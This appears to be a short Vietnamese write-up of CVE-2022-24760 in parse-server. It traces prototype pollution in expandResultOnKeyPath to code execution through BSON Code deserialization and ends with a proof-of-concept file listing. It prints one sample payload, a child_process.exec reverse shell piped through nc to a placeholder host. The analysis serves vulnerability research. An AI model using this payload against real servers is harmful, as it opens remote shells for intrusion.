### [CVE-2022-24760](https://github.com/tuo4n8/CVE-2022-24760-Analysis)
---
### flow


- Default không cần key để thêm xóa sửa các class vào db

---
### Diff commit
https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

- Prototype pollution xảy ra ở hàm `expandResultOnKeyPath`
```
DatabaseController.js
sanitizeDatabaseResult
-> expandResultOnKeyPath
```
- `sanitizeDatabaseResult` được sử dụng khi `add` và `update` class mới. Tuy nhiên để prototype được phải thõa mãn điều khiện khi keyUpdate `__op` thuộc `['Add', 'AddUnique', 'Remove', 'Increment']`
- Do đó, các value prototype chỉ có thể là `array` hoặc là `number`
- 
- 
- sample resquest like:

### Sink exploit for RCE
- Trước khi lưu dữ liệu trên DB, luồng dữ liệu sẽ được `serialize` qua thư viện BSON, khi _bsontype là `Code` thì sẽ tiến hành `serializeCode`

`parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762`
- Sau đó, dữ liệu sẽ được deserialize để thao tác đi đến sink:



- Sử dụng prototype pollution để pollute `options['evalFunctions']` -> bypass đến hàm `isolateEval`
- Payload sample
```
"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"
```
- Do luồng thực thi hàm `expandResultOnKeyPath` đến sau khi deserilize nên cần thực hiện race condtion liên tục để khi đến `isolateEval` có thể trigger được

[4.0K] /data/pocs/be3fd67aac78879517b843cbbb20b8f4d546f10c
├── [2.5K] README.md
└── [4.0K] take-note.assets
├── [ 56K] image-20220331114046018.png
├── [ 73K] image-20220331114258164.png
├── [ 59K] image-20220331115258271.png
├── [ 53K] image-20220331132344135.png
├── [ 12K] image-20220331132750649.png
├── [ 12K] image-20220331132813075.png
├── [ 13K] image-20220331132823843.png
├── [ 15K] image-20220331133133587.png
├── [ 20K] image-20220331133328243.png
├── [ 25K] image-20220331145339371.png
├── [ 48K] image-20220331145403962.png
├── [ 23K] image-20220331145421339.png
└── [ 48K] image-20220331145825647.png
1 directory, 14 files